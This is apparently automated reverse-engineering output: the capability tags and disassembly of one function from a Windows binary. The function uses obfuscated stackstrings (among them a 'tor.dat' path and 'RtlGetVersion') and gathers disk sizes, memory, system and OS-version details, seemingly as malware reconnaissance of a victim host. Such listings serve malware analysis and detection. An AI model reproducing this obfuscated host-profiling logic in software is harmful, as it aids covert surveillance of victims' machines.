Function at 0x10019ce5
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get disk information
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
push 0x8a0
mov eax, 0x10041e91
call fcn.1003a17c
mov ebx, ecx
mov dword [ebp - 0x8ac], ebx
xor eax, eax
lea edx, [ebp - 0x3d8]
push ecx
mov byte [ebp - 0x6ae], al
call fcn.10016794
xor eax, eax
pop ecx
mov dword [ebp - 0x4e0], eax
call fcn.10001f7b
push eax
lea ecx, [ebp - 0x4e0]
call fcn.1000bbef
xor eax, eax
inc eax
mov dword [ebp - 4], eax
lea edx, [ebp - 0x4e4]
push 0x32
pop edi
push edx
lea ecx, [ebx + 0x2c]
mov dword [ebp - 0x4dc], edi
mov eax, dword [ecx]
lea edx, [ebp - 0x4dc]
push edx
lea edx, [ebp - 0x9c]
push edx
call dword [eax + 0x38]
mov esi, eax
lea ecx, [ebp - 0x4e0]
lea eax, [ebp - 0x9c]
push eax
call fcn.1000b360
test esi, esi
mov esi, dword [ebp - 0x4e0]
je 0x10019d83
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x504], eax
jmp 0x10019d8a
or dword [ebp - 0x504], 0xffffffff
push 4
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x6e4]
push eax
call fcn.10021e60
add esp, 0xc
lea eax, [ebp - 0x3d8]
push edi
push eax
lea eax, [ebp - 0x6e0]
push eax
call fcn.10021e60
add esp, 0xc
xor ecx, ecx
mov edi, ecx
mov ebx, ecx
lea eax, [ebx + 0x42]
mov word [ebp - 0x67], 0x5c3a
mov byte [ebp - 0x68], al
lea eax, [ebp - 0x68]
push eax
mov byte [ebp - 0x65], cl
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x10019e11
lea eax, [ebp - 0x518]
push eax
lea eax, [ebp - 0x4f8]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExA]
mov ecx, dword [ebp - 0x4f8]
mov eax, dword [ebp - 0x4f4]
shrd ecx, eax, 0x14
shr eax, 0x14
add edi, ecx
inc ebx
push 0
pop ecx
cmp ebx, 0x1a
jl 0x10019dbf
lea eax, [ebp - 0x558]
mov dword [ebp - 0x558], 0x40
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x550]
mov eax, dword [ebp - 0x54c]
shrd ecx, eax, 0x14
shr eax, 0x14
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x6a4], ecx
call fcn.100164ba
mov dword [ebp - 0x6ec], eax
lea eax, [ebp - 0x57c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6a0], edi
call fcn.1001669f
xor ebx, ebx
test eax, eax
push 1
pop eax
movzx ecx, bl
cmovne ecx, eax
mov eax, dword [ebp + 8]
mov byte [ebp - 0x6ae], cl
mov dword [ebp - 0x6ac], eax
call fcn.1001416f
mov dword [ebp - 0x6a8], eax
call fcn.1001402b
push 0x50
mov dword [ebp - 0x628], eax
lea eax, [ebp - 0x5d4]
push ebx
push eax
call fcn.10022cd0
add esp, 0xc
lea eax, [ebp - 0x5d4]
push eax
call fcn.10018eb2
push ebx
push 0x23
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x24], 0x726f745c
push eax
push ebx
mov dword [ebp - 0x20], 0x7461642e
mov byte [ebp - 0x1c], bl
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x1d8]
push eax
lea ecx, [ebp - 0x58]
call fcn.100014de
mov byte [ebp - 4], 2
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
push 0x100504d0
cmovae eax, dword [ebp - 0x58]
push eax
call fcn.1002747b
pop ecx
pop ecx
test eax, eax
je 0x10019f3f
push eax
call fcn.10027941
pop ecx
xor ecx, ecx
inc ecx
mov al, cl
jmp 0x10019f44
xor ecx, ecx
mov al, bl
inc ecx
test al, al
sete bl
mov byte [ebp - 4], cl
xor eax, eax
push eax
push ecx
lea ecx, [ebp - 0x58]
call fcn.1000176d
test bl, bl
je 0x1001a031
xor ebx, ebx
push ebx
call fcn.1002696f
mov dword [ebp - 0x4f0], eax
lea eax, [ebp - 0x4f0]
pop ecx
push eax
mov dword [ebp - 0x4ec], edx
call fcn.10029a45
pop ecx
mov edx, eax
mov byte [ebp - 0x8c], bl
push 7
pop ecx
xor eax, eax
movdqa xmm0, xmmword [0x10050ed0]
lea edi, [ebp - 0x8b]
mov dword [ebp - 0x4c], 0x3a643230
rep stosd dword es:[edi], eax
movdqu xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0x64323025
mov dword [ebp - 0x44], 0x3230253a
stosw word es:[edi], ax
mov word [ebp - 0x40], 0x64
mov word [ebp - 0x4dc], 0x2b77
mov byte [ebp - 0x4da], bl
stosb byte es:[edi], al
push dword [edx]
mov eax, dword [edx + 0x10]
push dword [edx + 4]
inc eax
push dword [edx + 8]
push dword [edx + 0xc]
push eax
mov eax, dword [edx + 0x14]
add eax, 0x76c
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x8c]
push 0x20
push eax
call fcn.10025868
add esp, 0x24
lea eax, [ebp - 0x4dc]
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.1002747b
pop ecx
pop ecx
mov edi, eax
lea ecx, [ebp - 0x8c]
push edi
call fcn.10016461
push eax
call fcn.100294c1
push edi
call fcn.10027941
add esp, 0xc
lea eax, [ebp - 0x1d8]
push 0x100504d0
push eax
call fcn.1002747b
mov edi, eax
lea eax, [ebp - 0x2d8]
push edi
push 0xff
push eax
call fcn.10027690
add esp, 0x14
lea ecx, [ebp - 0x2d8]
call fcn.10016357
push eax
lea eax, [ebp - 0x66a]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
call fcn.10027941
add esp, 0xc
mov ecx, 0x1005a91e
call fcn.10016357
push eax
lea eax, [ebp - 0x64a]
push eax
call fcn.10028a80
add esp, 4
mov dword [ebp - 0x3c], 0x61666544
lea edx, [ebp - 0x4d8]
mov dword [ebp - 0x38], 0x746c75
call fcn.100165e0
pop ecx
test eax, eax
jne 0x1001a0bf
mov ecx, 0x1005a8ec
call fcn.10016357
jmp 0x1001a0c5
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x69c]
push eax
call fcn.10028a80
pop ecx
pop ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x788], 0x9c
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x8a8], 0x11c
push eax
mov dword [ebp - 0x34], 0x476c7452
mov dword [ebp - 0x30], 0x65567465
mov dword [ebp - 0x2c], 0x6f697372
mov word [ebp - 0x28], 0x6e
mov dword [ebp - 0x18], 0x6c64746e
mov word [ebp - 0x14], 0x6c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x8a8]
push ecx
call eax
mov eax, dword [ebp - 0x8a0]
sub esp, 0x10
mov ecx, dword [ebp - 0x8ac]
mov dword [ebp - 0x780], eax
add ecx, 8
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x784], eax
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x77c], eax
mov al, byte [ebp - 0x78e]
mov byte [ebp - 0x6ee], al
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x778], eax
lea eax, [ebp - 0x788]
push 0x204
push eax
push 0x94e
call fcn.10015d13
neg eax
sbb edi, edi
neg edi
or dword [ebp - 4], 0xffffffff
lea ecx, [esi - 0x10]
call fcn.10001f5f
mov eax, edi
call fcn.1003a12b
ret 4